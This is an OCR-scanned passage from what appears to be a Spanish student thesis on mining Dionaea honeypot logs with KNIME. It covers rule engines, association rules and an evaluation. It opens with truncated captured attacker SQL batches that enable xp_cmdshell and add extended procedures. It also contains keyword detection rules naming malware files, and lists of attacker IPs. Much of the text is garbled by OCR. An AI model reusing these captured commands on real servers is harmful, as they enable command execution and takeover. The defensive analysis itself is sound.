ISQL BATCH : b"use master\y\ndbcc addextendedproc (xp_cmdshell’,'xplog 70.dI) Yy \ndbec addextendedproc ('sp_OAMethod','odsole 70.dIl") y\ndbcc adde
ISQL BATCH : b"use [master] EXEC sp_configure N'dr enabled', N'1' RECONFIGURE WITH OVERRIDE exec sp_changedbowner 'sa' alter database [master
ISQL BATCH : b™EXEC sp_configure "show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure "xp_cmdshell', 1 RECONFIGURE WITH
SQL BATCH : b"DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWbemLocator', @objLocator O
ISQL BATCH : b'DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WhemScripting. SWhemLocator', @objLocator O
SQL BATCH : b"DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWhemLocator', @objLocator O
SQL BATCH : b'DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WhbemScripting, SWbemLocator', @objlLocator O
SQL BATCH : b"DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWbemLocator', @objLocator O
SQL BATCH : b"DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWbemLocator', @objLocator O
SQL BATCH : b"DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWbemLocator’, @objLocator O
ISQL BATCH : b"DECLARE @objlLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWhemLocator', @objLocator O
SQL BATCH : b"DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate 'WhemSaripting, SWbemLocator', @objLocator O
SQL BATCH : b"DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWbemLocator', @objLocator O
ISQL BATCH : b"DECLARE @objlLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting, SWhemLocator', @objlocator O
!SQL BATCH : b"DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWhemLocator', @objLocator O

Nodo 'Nominal Value Row Splitter' 4

Ademas hemos extraido aquellas partes del registro relacionadas con las
direcciones IP de los atacantes.
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connection

/home fcowrie/dionaeasrc/connection.c: 2208-mes...

connection Ox 1a8e570 listen/tcp/none [192.168.0. 173: 1433->] state: none->dose

connection

/home fcowrie/dionaeasrc/connection. c: 204-debug:

bind_local socket 11 192.168.0.173:1433

connection

/home fcowrie/dionaeasrc/connection.c: 227-debug:

ip '192. 168.0. 173 node '192.168.0.173:1433'

connection

/home fcowrie/dionaeasrc/connection. c: 204-debug:

bind_local socket 16 192, 168.0. 173: 1900

connection

/home fcowrie/dionaeasrc/connection. c: 316-debug:

ip '192. 168.0.173' node '192. 168.0. 173: 1500’

connection

/home fcowrie /dionaeasrc/connection. c: 204-debug:

bind_local socket 17 192.168.0. 173:3306

connection

/home fcowrie/dionaeasrc/connection.c: 227-debug:

ip '192. 168.0. 173 node '192. 168.0. 173:3306'

connection

/home fcowrie/dionaeasrc/connection. c: 204-debug:

bind_local socket 25 127.0.0.1:1433

connection

/home fcowrie /dionaeasrc/connection. c: 227-debug:

ip'127.0.0.1 node '127.0.0.1:1433

connection

/home fcowrie/dionaeasrc/connection. c: 204-debug:

bind_local socket 30 127.0.0.1:1900

connection

/home fcowrie/dionaeasrc/connection.c: 316-debug:

ip'127.0.0.1' node '127.0.0.1: 1500'

connection

/home fcowrie /dionaeasrc/connection. c: 204-debug:

bind_local socket 31 127.0.0.1:3306

connection /home fcowrie/dionaea src/connection.c: 218-warni... (Could not bind 127.0.0.1:3306 (Address already in use)

connection /home fcowrie/dionaea/src/connection. c:2208-mes... [connection 0x 1009080 listen/tcp/none [192. 168.0. 173:1433->] state: none->dose
connection | /home fcowrie/dionaea/src/connection.c: 2208-mes. .. [connection 0x 10 12ef8 listen/tcp/none [192. 168.0.173:3306->] state: none->dose
connection | /home /cowrie/dionaea/src/connection. c: 2208-mes. .. [connection 0x 10 10b 18 listen/fudp/none [192, 168.0,173:1900->] state: none->dose
connection /home fcowrie/dionaea/src/connection. c:2208-mes. .. jconnection 0x1010b 18 listenfudp/dose [192. 168.0.173:1500->] state: dose->dose
connection /home fcowrie /dionaeasrc/connection. c: 2208-mes. .. |connection 0x 1028928 listen/tcp/none [127.0.0. 1:1433->] state: none->dose
connection /home fcowrie/dionaea/src/connection. c; 2208-mes. .. |connection 0x10309e0 listenfudp/none [127.0.0.1:1900->] state: none->close
connection /home fcowrie/dionaea/src/connection. c:2208-mes... |connection 0x10309e0 listenfudp/dose [127.0.0.1:19500->] state: dose->dose

Nodo ‘Nominal Value Row Splitter' 5

3.4.4 Mineria de datos
Como nuestro interés es describir una serie de logs de cara a su facil

compresion, necesitamos de cierta traduccion derivada de un estudio
previo para poder elegir y configurar de manera adecuada que técnicas

vamos a utilizar.

En el anexo 3 desarrollamos los registros que nos han aportado alguna
informacion relevante, por lo que nos basaremos en el estudio realizado en

ese anexo para decidir los siguientes pasos:

Lo primero es definir con qué vamos a realizar esa traduccion, para ello

haremos uso del nodo:

Rule Engine

Rule Engine

Nodo 'Rule Engine' 1

En este nodo podemos definir una serie de reglas basandonos en los

valores de las columnas ya obtenidas de nodos anteriores. CoOmo hemos
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dicho anteriormente nos basaremos en lo descrito en el anexo 3 para definir

las reglas, en los tres casos nos hemos basado en palabras que nos
parecieron relevantes dentro de los registros (como archivos exe o bat),
también filtraremos las direcciones ip cuyos nodos se relacionen con el

servicio en concreto. De esta manera los nodos quedaran asi:

o MSSQL

SInformacion$ LIKE "*Yer*" OR $Informacion$ LIKE "*info*" => "Adguiere informacidn de la vezsion”

sInformacion$ LIKE "*Drop*" AND $Informacien$ LIKE "*proc*" => "Blimina procsdimisntos”

$Informaciens LIKE "*add*" AND SInformacion$ LIKE "*proc*" => "Afiade procedimientos propigs”

SInformacion$ LIKE "¥*sp OAcreate" AND $Infprmacion$ LIKE *WebmScrlptlng WebLocator*" => "Parece que intenta crear un objetn para establecer una gonexidm
SInformacions LIKE "*Win32 SecurityDescriptor*" OR $informacion$ LIKE "*cacls*" => "El atacante pretends cambiar las opciones de seguridad de wn azchive”
sinformacions LIKE "123.bat" => "Archive maliciose sncopikade: 123.bat"

$Informaciens LIKE "Berfstringe.ini" => "Axchive malicioso sncentrado: E@xi&&ggag@ ini"

SInformacion$ LIKE "*regdelstekey*" => "Eliminacion de registzos de archives exe"

$Informacions LIKE "*sp_delete job*" => "Borrado de archives @3@

SInformacions LIKE "*sp add job*" => "Creacidn de arghivos exe"

sInformacions LIKE "*kugou2010.gxe*" => "Archive mallclose encenkrade: kugou2010.gxe"

SInformacions LIKE "*Mywsade.dvr*" => "Brchivo malicioso encontrado: Myusago.dvz"

$Informacions LIKE "*V.sat.gcrobi.dll*" => "Archivo maliciose encontrade: V.sat.scrobl.dll"

$Informaciens LIKE "*0x*" => "Posible codificacidp hexadecimal®

sinformacions LIKE "{*-¥-—¥—¥—¥}" => "posible manionlacion des wn regdstro”

SInformacions LIKE "*root*" OR SInformacigns LIKE "*sys"™ END SInformagion$ LIKE "*login*" =>"Manipulacion de un usyario con privilegios"

SInformaciens LIKE "*password*" => "Se gstd intentando manipular la contrasefia”

sinformacions LIKE "*login*" => "Estan lntentando accsdsr”

Nodo 'Rule Engine' 2
o MySQLD

SInformacions LIKE "*VER*" => "Esta intentando averiguar la yersion"

sInformacions LIKE "*DUMPFILE*" => "Se pretends acceder a upa funcion”

SInformacion$ LIKE "*cnal2.dll*" => "Archivo malicioso cnal2.dll. Se recomienda apalisis”
sInformacion$ LIKE "*xpdl3*" => "Se pretende llamar a las funciones de cnal2.gll"

Nodo 'Rule Engine' 3

o UPNP

SInformacions LIKE "*discover*" => "Se esta haciendo un escaneo de dispositivos"
sInformacions LIKE "*rootdevice*™ => "Se pretende acceder a un dispositivo con privilegios™
SInformacigns LIKE "*all*"™ => "Se eshA apuntando a Lodos los dispositivos"

SInformacions LIKE "*Yer*" => "Se esti investigando la yersidn del protocolg®

Nodo 'Rule Engine' 4

Sin embargo, lo Unico que hemos conseguido aqui es afiadir una columna
con la explicacion del registro. Lo siguiente sera filtrar la informacion
relevante, en este caso toda aquella que cumpla con algunas de las

condiciones definidas en las reglas.
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Lo primero que haremos serd agrupar los distintos grupos definidos

anteriormente para ver el desarrollo de los registros separados por dias.

Para agrupar las filas podemos hacer uso del nodo ‘Groupby’:

GroupBy

> 3=

Nodo 'GroupBy' 1

En nuestro caso, la configuracion en los tres casos es mas o menos la

misma:

1. Nuestra intencion es ver que ataques se producen en un
determinado espacio de tiempo, en nuestro caso, hemos decidido
hacerlo por fechas y ver que ataques se producen en un dia

concreto:

Settings | Description | Flow Variables | Job Manager Selection | Memory Policy

Groups | Manual Aggregation | Pattern Based Aggregation | Type Based Aggregation

Group settings
r Available column(s)

Y Aiter

|£ Hora
|STipo
|S|Ruta

|§ Informacion
|£ Significado

»

<«

Advanced settings

Column naming: = Aggregation method (column name)

Maximum unique values per group

r Group column(s)

Y Eiftor

|8 |Fecha

[ ] Enable hiliting || Process inmemory  [v] Retain row order

10.000 -5 Value delimiter ,

Nodo 'GroupBy' 2
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Ahora, por cada dia queremos ver que ‘Significados’ (registros traducidos)

se dan:
Groups Manual Aggregation | Pattern Based Aggregation | Type Based Aggregation
Aggregation settings
Available columns Select To change multiple columns use right mouse dick for context menu.
: Hora Column Aggregation (dick to change) Missing Parameter
Tipo N .
S |Ruta | 8| significado List | O |
S | Informacion
S | Significado
add >> ‘
add all >>
<< remove ‘
<< remove all

Nodo 'GroupBy' 3
En cuanto al tipo de agregacion se ha optado hacerlo por lista para recopilar

en un conjunto todos los registros interesantes en un dia.

Con esto obtenemos una lista de acciones por dia. Los resultados de

nuestro experimento en este punto quedarian asi:

1. MSSQL

[Adquiere informacidn de la version, Adquiere informacidn de la version,Eimina procedimientos, .|

Nodo 'GroupBy' 4

2. MySQL
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~ rown [[Slrere [ JOSKSaHES) N

Row0 [o7032018  |[?,7]

Row1 08032018  |[2,2.2,...]

Row2 [17032018  |[%,7]

Row3 [18022018 |[2,2,2,...]

Row4 [19022018  |[?,7]

Row5 [20022018  |[2,2.2,...]

Rowé [2102201% [7,2,2,...]

Nodo 'GroupBY' 5
3. UPNP
A RowDD |[§|Fecha

Row0 [07032019 [?,Se esta investigando la version del protocolo,Se esta hadendo un escaneo de dispositivos,...]
Rowl [08032019 [?,Se esta investigando la version del protocolo,Se esta hadendo un escaneo de dispositivos,...]
Row2 [17032019 [?,Se estd investigando la versidn del protocolo,?,...]
Row3 [18022019 [?,5e estd investigando |a versidn del protocolo,Se esta hadendo un escaneo de dispositivos,...]
Row4 [18032019  |[2,7]
Row5 [19022019 [?,5e esta investigando la version del protocolo,Se esta apuntando a todos los dispositives,...]
Row6 [20022019 [?,Se esta investigando la version del protocolo,?,...]
Row7 [21022019  |[2,2,%)...]

Nodo 'GroupBY' 6

Puesto que hemos optado por crear modelos descriptivos, podemos
escoger entre las diversas tareas enfocadas a este tipo de modelos de
datos, en nuestro caso hemos optado por las reglas de asociacién. La idea
es generar el modelo en funcién de que ‘significados’ se dan en un intervalo

de tiempo (en nuestro ejemplo, por dia).

Para ello hemos hecho uso del nodo ‘Association Rule Learner’

Association
Rule Learner

i
Nodo 'Association Rule Learner' 1
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El cual definiremos de la siguiente manera:

Dialog - 0:62 - Association Rule Learner - 0O -
File

Options | Flow Variables | Job Manager Selection | Memory Policy
Itemset Mining

Column containing transactions [...] List(Significado)
Minimum support (0-1) | 0,0 %
Underlying data structure: |TIDList

Output
Itemset type FREE v

[ Maximal itemset length: 50 =

Assodation Rules

| Output association rules

Minimum confidence: 1,05

0K Apply Cancel

Nodo 'Association Rule Learner' 2

Puesto que la informacién con valor es la mas escasa (el registro es enorme
y la mayoria de la informacién son inicios del servicio y hada mas), vamos
a buscar dentro de los registros ya filtrados (recordemos que los hemos
separados por servicios) la informacion menos frecuente por lo que
pondremos como columna a examinar la lista de significados con menor
soporte. La confianza nos indica nos sirve para especificar hasta qué punto
es de cierta una determinada rule, en nuestro caso la pondremos a 1 para

aceptar todas las reglas que aparezcan con un soporte bajo.

Esto nos define una tabla con el siguiente esquema “Si se dan esta serie
de pasos X" (columna Items), “probablemente pretenda como siguiente

paso Y” (Columna Consequent).

Finalmente nos quedara la siguiente tabla:
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1. MSSQL
D] support (D] Confide...|[D]ift (8] Consequent '8|implies |[..
1 1 1 Adquiere informadin de la versidn [<— [Estan intentando acceder, Afiade procedimientos propios, Elimina procedimientos]
1 1 1 Elimina procedimientos 4o [Estén intentando acceder, Adquiere informadion de la versian, Afiade procedimientos propios]
1 i 1 Estan intentando acceder - Adaquiere informacidn de la version, Afiade procedimientos propios, Eimina procedimientos]
1 1 1 Afiade procedimientos propios < [Estan intentando acceder, Adquiere informacidn de la version, Eimina procedimientos]
0.5 1 2 Bliminacion de registros de archi.., [<— [Se esté intentando manipular |z contrasefia, Creacion de archivos exe Borrado de archivos exe,...]
0.5 1 2 Fl atacante pretende cambiar s, .| <— [Eliminacion de registros de archivos exe,5e esta intentando manipular |a confraseria, Creacion de archives exe,...]
0.5 1 2 Borrado de archivos exe . [Eliminacidn de registros de archivos exe,Se esta intentando manipular la contrasefia, Creadion de archivos exe, ..]
0.5 1 2 Posble codficacién hexadecmal  [<— Eiminacidn de registros de archivos exe,Se esté intentando manipular la contrasefia, Creacian de archives exe,...)
0.5 1 2 Creacién de archivos exe . Eliminacidn de registros de archivos exe, S esta intentando manipular la contrasefia,Borrado de archivos exe,...]
0.5 1 2 Se esta intentando manipular la ... < [Eliminacidn de registros de archivos exe,Creadidn de archivos exe,Borrado de archivos exe,...]
Nodo 'Association Rule Learner' 3
2. MySQLD
RowD  |[D|Suport |[D]Confide...|[D]Lit [§] Consequent [§]imples |[...
ruled 1 1 1 \Adquiere informacidn de la versidn |<— [Estén intentando acceder, Afade procedimientos propios, Eimina procedimientos]
rulel 1 1 1 Elimina procedimientos . [Estan intentando acceder, Adquiere informacion de |a version, Afiade procedimientos propios]
rule2 1 1 1 Estan intentando acceder £ Adaquiere informacion de |a version, Afiade procedimientos propios Elimina procedimientos]
rue3 1 1 1 Afiade procedimientos propios  |<— [Estén intentando acceder, Adquiere informacion de la versidn,Elimina procedimientos]
rued 0.5 1 2 Elminacidn de registros de archi.., [<— Se esté intentando manipular |a contrasefia, Creacion de archivos exe, Borrado de archivos exe,...]
rules 0.5 1 2 El atacante pretende cambiar las. . < Eliminacion de registros de archivos exe,Se esta intentando manipular |z contrasefia, Creacion de archivas exe, ..
rues 0.5 1 2 Borrado de archivos exe = [Eliminacion de registros de archivos exe,Se esta intentando manipular la contrasefia, Creacion de archivos exe,...
rue? 0.5 1 2 Posible codificacién hexadedmal | <— Eliminacion de registros de archivos exe,Se esta intentando manipular |z contrasefia, Creacion de archivas exe, ..
rued 0.5 1 2 (Creaddn de archivos exe = [Eliminacion de registros de archivos exe,Se estd intentando manipular |a contrasefia Borrado de archivos exe,...]
rued 0.5 1 2 Se estd intentando manipular a ... [<— [Eliminacion de registros de archivos exe, Creadion de archivos exe Borrado de archives exe,...)
Nodo 'Association Rule Learner' 4
3. UPNP
BN | 6 Sebmespniobesintpono -
el 0375 1 LI [Se st haciendo un escaneo de dspostvos < [Se esta apuntando a todos los cspositivs,Se petende acceder & un dspasiivo con privlegios Se esta nvestigando a version delprotocol]
2 085 |t LS eests nvestgandola versicn de protocolo < (S pretende acceder 3 un dspositivo con priviegios Se esta haciendo un escaneo de disposivos]
U3 085 |t 1143 e estd haciendo un escanea de dspositos (< (S pretende acceder  un dspasitivo con prviedios Se esta nvestigando l verson delprotocol]
U4 085 |t L4 [Seests nvestaandola versidn de protocolo <~ (S esta apuntanda a todos ls dspositvos,Se esta hacendo un escaneo de dspasitve|
10§ 085 |t 1143 e estd haciendo un escanea de dspositos (< (S esta apuntando a todos s dspositivs, Se esta nvestigando a versicn del protacol]
1 085N LI Se estdnvestigando a versin de protoclo < [Se st haciendo un escaneo de dispositos]
1ue7 0t L3 15 st haendo un escaneo de dspostives (< (S estd investigend l versidn el protocco]

Nodo 'Association Rule Learner' 5

El pendltimo paso que vamos a hacer es representar estos datos en una

grafica para hacer mas atractiva su lectura.

Uno de los mas Uutiles es el diagrama de quesos, el cual nos permite ver

todas las opciones y el procentaje de estas.
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Interactive Pie
chart (local)

o0
Node 72

Nodo 'Interactive Pie Chart' 1

Podemos configurar el nodo ahora otras crear la representacién, nosotros

crearemos una configuracion por defecto.

File

Options | Fiow Variables | Job Manager Selection | Memory Policy |
~Rows to display:

Display all rows

No. of rows to display: 2,500 <

Column selection:

Pie column: || S| Consequent +

Aggregation column: ||D|Support v

~ Aggregation method
(") Average () Sum (@ Row count () Row count (w/o missing values)

| ‘ Cancel ‘ @l

Nodo 'Interactive Pie Chart' 2
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Los resultados finales quedaran de la siguiente manera:

1. MSSQL

File Hilite

Borrada de archivos exe: Row count 9,09 %

Creacién de archivos exe: Row count 9,09 %
Afiade procadimientos propios: Row count 9,09 %

El atacante pretende cambiar las opciones de sequridad de un archive: Row count 9,09 %

‘Adquiere informacién de la versidn: Row count 9,09 %

Elimina procedmientos: Row count 9,09 %

Missing_vaues: Rom count 9,09 %

Elminacién de registros de archivos exe: Row count 9,09 %
Se esta intentando manipular |a contr asefia: Row count 9,09 %

Estén intentando acceder: Row count 9,09 %
Posible codificacién hexadecimal: Row count 9,09 %

Aggregation method Colums

O Average

Y sm Pie column: | § | Consequent v
B Aggregation colmn: | D support
(3 Row count (wfo missing values)

Nodo 'Interactive Pie Chart' 3

2. MySQLD
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. PeChat-073-mtemdivePiechatfow) = PH

File Hilite

Archivo malicioso cnal2.dll. Se recomienda andlisis: Row count 50 %

Se pretende llamar a las funciones de cna12.dll: Row count 50 %

Defauit Settings | COLIM/AGGr&Gaton SSHNgs|| visualzation settings | Detais
r Aggregation method
() Average
O'sum Pie column: || § | Consequent v

Column:

(®) Row count Aggregation column: |D|7 Support v

(C) Row count (w/o missing values)

Nodo 'Interactive Pie Chart' 4

3. UPNP

Se esta haciendo un escaneo de dispositivos: Row count 40 %

Se esta investigando la version del protocolo: Row count 60 %

<
Default Settings | Column/Aggregation setbngs lization settings | Details
- Aggregation method rColumns
() Average
) Sum Pie column: || | Consequent v
(®) Row count

Aggregation column: |D | Support v
‘ (O) Row count (w/fo missing values)

Nodo 'Interactive Pie Chart' 5

Por otra parte, se ha filtrado la informacion relativa a las direcciones IPs

para concretar cuales fueron los objetivos de los atacantes segun el dia:
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E_ [...] uist(iP atacante) | [...] set(objetivo)
[21022019 [185.216.32,134:53851,185.216.32, 134:53851, 185.216.32,134:53851,... |[|.|P'NP,M‘;‘SQ.D]
[20022019 [191.96.214,17:51903,191.96,214.17:51903, 194, 36. 175.68: 39647, ... |[MYSQLD,UPNP,M55Q.]
[19022019 :196.52.43.110:51927,195.52.43.110:5192?',91.195.9‘9.114:45128,... |[MYSQLD,UPNP]
[18032019 [95.181.134,27:56362,95. 181, 134,27:56940,95. 181, 134, 27:56940, ... |[MSSQL,UPN’]
[18022019 :154. 105.139.97:10497, 184. 105. 139.97: 10497, 184. 105. 139.97: 10457,... |[|JPNP,M‘,‘SQ.D]
[17032019 [122.228.19.79:51704,122,228, 19.79: 51704, 122, 228.19.79:51704,...] |[|JPNP,M‘;‘5Q.D,MSSQ.
[08032019 [155.234.216. 223:62339,185.234.216.223:62339,185. 234. 216.223:623... |[MSSQL;UP1\P,MYSQLD
][070320 19 [134.73.220.106:33241,134.73.220. 106:33241, 134,73, 220. 106:33241,... |[|.|PNP,M55Q.,MYSQLD

Finalmente, el esquema en KNIME nos quedaria asi:

Nodo 'GroupBy' 7
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Rule-based

File Reader  Missing Value Column Combiner Column Filter Row Filter |

| -
3 r r?l > i o P
Lectura del registro  Eliminacion ~ Creacion columnBliminacion columnas — Node 23
cardcterperdido  informacion  innecesarias

Nominal Value ~ Nominal Value Nominal Value Nominal Value
Row Filter Row Splitter Row Splitter Row Splitter

Association Interactive Pie
> > > Rule Engine GroupBy Rule Leamer chart (local)
=i -»3’ ‘ »3' ‘ »3'
A b e
| Backnole | Memcache Fip Hifp - . ' ® ®
' Reglas MSSQL Node 50 Node 63 Node 74
- Association Interactive Pie
Nominal Value Nominal Valuz Nominal Value  Nominal Value Rule Engine GroupBy Rule Leaner chart {local)
Row Splitter ~ Row Splitter  Row Splitter  Row Splitter -
R R
L4 Ll W
’Ep ! Eb' Eb- Eb (] ] (] (]
» ) » » Reglas MySQLD Node 47 Node 62 Node 73
matt MSSQL MYSQLD pptp
Nominal Value  Nominal Value  Nominal Value Association Interactive Pie
Row Splitter ~ Row Splitter Row Filter Rule Engine GroupBy Rule Leamer chart (local)
> > ‘
bg'_-bgb_-pap rEr o >u
sip upnp Otros ' Reglas UPNP Node 41 Node 61 Node 72
\ NominalValie  Ruledased Interactive
' Row Filter Row Filter Cell Splitter Column Filter Cell Splitter Cell SplittexColumn RenameRule Engine GroupBy  Table (local)

=21 S (el LT 0 e e A e I S rEr >E

[ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ]
L) L) ) L) L L v L) L) L

Node77  Fiftrado de direcciones P Node 80 Node 31 Node 82 Node 83 Node 84  Reglas UPNP Node 36 Node 85

Esquema final KNIME Dionaea 1
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De momento, hemos terminado. En las siguientes secciones evaluaremos
el modelo extraido y cémo podriamos mejorarlo.
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4 Analisis de la experiencia y conclusiones

En esta parte daremos finalizacién a este trabajo, hablaremos sobre las
conclusiones realizadas durante los experimentos realizados a lo largo de
las partes de deteccidn de intrusiones y de mineria de datos. Finalmente,
hablaremos sobre que se podria hacer para ampliar el alcance de este

trabajo.

4.1 Final de experimento
Hemos reservado para esta parte las Ultimas fases de la mineria de datos,
es decir, las relativas a la explicaciéon del modelo y a las posibles

aplicaciones que se le podrian dar.

4.1.1 Evaluacién e interpretacion

Para realizar la evaluacion nos fijaremos en dos puntos, por un lado en el
conocimiento previo del que se ha hecho uso para crear el médelo, pues
gueremos ver hasta qué punto podria adecuarse, por el otro tendremos en
cuenta una serie de caracteristicas para evaluar la validez individual del

modelo.

e Evaluacién del conocimiento previo

Para realizar el modelo nos hemos fijado en dos puntos concretos:

Por un lado, durante el andlisis se ha encontrado el nombre de
diversos archivos sospechosos, archivos de los cuales se busco
informacion. Se encontré que no solo los archivos provocaban un
dafio sino que estaban precedidos por una serie de pasos enfocados
a descargarlos. Las reglas de nuestro modelo se enfocan en detectar

esos archivos y los pasos relacionados con su instalacién.

Por otro lado, como se comento en el parrafo anterior, en los pasos
previos a los ataques. No todas las secuencias de pasos
desembocan en un ataque con éxito, a veces fallan, razén por la cual

se establecen reglas para avisar de los posibles intentos.
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En nuestro caso, hemos establecido reglas simples y la relacion
entre ellas se ha hecho por agrupaciones basadas en la fecha. Pero
este modelo puede afinarse mas con algunas mejoras, por ejemplo,
afiadiendo mas variables relacionadas (como caracteristicas mas
concretas, ej. Servicio y su version), o relacionando logs de diversas

herramientas.

Medidas de fiabilidad

Las caracteristicas de las que haremos uso para medir la fiabilidad

del modelo son las siguientes:

Cobertura: Numero de instancias a las que las reglas se aplica y se
predice correctamente.

En nuestro caso lo hemos definido con el menor nimero posible.
Esto es asi, porque la informacion util para nosotros es la que
menos se repite, es decir, tendremos una cantidad de informacién
considerable, de ella muy pocas lineas cumplen con las reglas
definidas por lo que debemos definir una cobertura bastante

permisiva.

Para este experimento se ha estimado el valor: 0.

Confianza: Proporcion de instancias que la regla predice
correctamente.

En esta ocasion daremos una confianza maxima, ya que las
instancias que coinciden con las reglas no son muchas y ademas
se basan en reglas muy concretas por lo que podemos tener la

certeza de que acertaran cuando sean aplicadas.

En nuestro caso se ha estimado el valor: 1.
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Interés: Esta caracteristica nos define la capacidad del modelo

para suscitar la atencion de los usuarios del modelo.

Podemos evaluarlo, fijjandonos en varios criterios. Primero,
podemos establecer un interés a priori debido a que la informacion
que se pretende analizar, en este caso, la de ataques
informéaticos, los cuales pueden llegar a generar una inmensa
cantidad de dafio si no son descubiertos y/o paliados a tiempo. Lo
segundo que debe atender del modelo es la capacidad del mismo
para extraer informacion Gtil y exponerla de manera atractiva para
quién ha de visualizarla (esto lo trataremos en el punto de la
comprensibilidad).

En nuestro caso, podemos definir en el primer punto un alto grado
de interés debido a los posibles dafios que se podrian generar si

un sistema es atacado.

Sin embargo, este ataque lleva ya un tiempo asi que es bastante
probable que ya hayan soluciones, por lo que podemos estimarle

un valor de 7.

Comprensibilidad: A esta caracteristica le afectan dos factores,
por un lado la longitud y complejidad de las reglas, por otro el nivel
de abstraccion. El primer caso puede medirse contando la
cantidad de reglas y condiciones por cada una de ellas, el
segundo se basa en una cuestion mas subjetiva ya que, se
aconseja generalizar para facilitar la comprension, sin embargo,

al generalizar se pueden perder detalles.

En nuestro caso, nos hemos basado en un pequefo conjunto de
reglas por servicio emulado, la idea es extraer pasos relevantes
de un ataque y ver cOmo se van siguiendo unos a otros, de esto
podemos extraer un orden de pasos de cara a futuros modelos o

para aplicacion en herramientas mas profesionales. Al estar
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basado en reglas simples podemos decir que el modelo tiene una

comprensibilidad alta.

Podemos estimarle un valor de 7.

e Aplicabilidad: Por ultimo, observaremos la capacidad que tiene
este modelo para ser replicado en otros entornos, ya sea para
mejorarlo o para atender a su finalidad til.

En este caso, las reglas estan aplicadas a nuestro caso concreto,
por lo que su aplicabilidad es limitada. Sin embargo, pueden se
puede extrapolar de nuestro modelo una serie de factores que si
pueden usarse en otros casos. Aqui se pueden extraer dos cosas,
por un lado los pasos previos a la descarga del archivo, los cuales
nos pueden ir dando una pista de que se avecina, por otro
podemos sacar variables como direcciones IPs, nombres de
archivos u operaciones de cara a aplicar este modelo en otros

entornos.

Algunos ejemplos de estas reglas son las que se centran en
buscar:
o Las que se basan en buscar los pasos previos a las descargas
de archivos:
= Como las palabras ‘Drop’ y ’proc’ para eliminar un
procedimiento existente en el sistema.
= O las palabras ‘Add’ y ‘proc’ para afadir un proceso nuevo.
» Win32_SecurityDescriptor para cambiar permisos de
seguridad y permitir la escritura o eliminacion de archivos
relevantes.
» La funcion ‘xpdI3’ para extraer las 6rdenes del archivos

sospechoso ‘cna12.dll
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» O cadenas de caracteres que contuvieran ‘Ox* para sefalar

procedimientos en hexadecimal (los cuales necesitan de
una traduccion).
o En el caso de los archivos:
= “123.bat’y ‘perfstringe.ini’ los cuales pueden marcar un inicio
del virus mirai.
» ‘cna12.dll’ que contiene érdenes y direcciones desde las que

descargar archivos maliciosos.

En resumen para evaluar la aplicabilidad de este experimento
evaluaremos dos puntos, por un lado los servicios atacados estan
en puertos muy usuales, pero por otro las reglas de este ejemplo
se aplican a un caso concreto ya que podemos definir de manera
general algunos patrones como los pasos previos a la aparicion
de los archivos maliciosos, pero las reglas buscan

especificamente esos archivos. Se estima una aplicabilidad de 6.

El estudio tras las reglas de estos ejemplos esta detallado en la
seccion ‘Introduccién a algunas amenazas de Dionaea’ en
‘ANEXOS’.

4.2 ¢.Se han cumplido los objetivos de este trabajo?

. Implantar uno o varios sistemas de deteccién de intrusiones
en un sistema informatico y recopilar un conjunto de datos
representativo sobre la actividad de dicho sistema.

o Se han instalado una serie de IDS de distinto ambito con la
intencién de captar datos de distintas fuentes, estos IDS abarcan: dos
honeypots (Cowrie y Dionaea), un NIDS (Suricata) y un validador de
integridad (Samhain). De esta actividad se ha extraido un registro de
unos 2GB de peso relacionado con la actividad de un atacante a los

servicios de Dionaea.
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o Complementar el andlisis de los datos recopilados mediante

una o varias herramientas de mineria de datos.

o Se ha utilizado la herramienta KNIME para realizar la limpieza y el
analisis de la informacion. Para ello se ha extraido el archivo de registro
de Dionaea anteriormente mencionado se ha dividido su registro en
funcién de los servicios de la herramienta y se ha realizado un estudio
de aquellos que tenian actividad sospechosa.

o Evaluar y validar la efectividad de la solucién propuesta.

. En la seccion ‘Final de experimento’ de esta seccién, se han
detallado los criterios que se han usado para evaluar la validez del

modelos y en qué medida es de efectivo en cada uno de ellos.

4.3 ¢, Qué problemas han surgido y como se han solucionado?

Como dificultad estuvo el adquirir el conocimiento necesario de mineria de
datos necesario para llevar a cabo el proyecto ya que, primero para hacer
la parte introductoria tenia que comprender que estaba a punto de tocar, y
para la parte tercera centrada en la propia mineria debia de tener los
conocimientos necesarios para desempefiar un correcto andlisis de las

herramientas, técnicas y tareas relativas a la mineria de datos.

Para solucionar este problema se ha pedido ayuda de comparferos para
obtener apuntes de la asignatura “Mineria de datos”, asi como de la
obtencion de material bibliografico. Ademas de un periodo de aprendizaje

mediante el uso de tutoriales, practicas.
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4.4 ¢, Como se podria continuar este trabajo?
Como ampliacion al objetivo de este trabajo se propone incrementar la
complejidad del modelo, por ejemplo, hacer una relacién entre diversos logs

para mejorar el alcance de un analisis.

Otra mejora pendiente es que, a raiz del andlisis de los ataques el realizar
un estudio de cada uno de los archivos sospechosos con la intencion de
averiguar mas sobre su impacto en el sistema (que hace, si descarga algo

y de donde, etc.).
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ANEXOS

Metodologia de desarrollo del trabajo

En esta seccion se comentara la metodologia seguida para la realizacion
general del trabajo, originalmente esta enfocada para desarrollo software,
pero puede ser adaptada a cualquier trabajo relativamente amplio debido a
gue se basa en iteraciones breves en las que se puede insertar un objetivo
concreto del proyecto (Ejemplo: una iteracion puede ser realizar alguna
seccién de la introduccidn, otra puede ser la busqueda de una determinada

herramienta y/o su instalacion).

Metodologia elegida

Scrum: metodologia de trabajo utilizada para gestionar el desarrollo de
productos complejos. Estd basado en la continua adaptacién a las
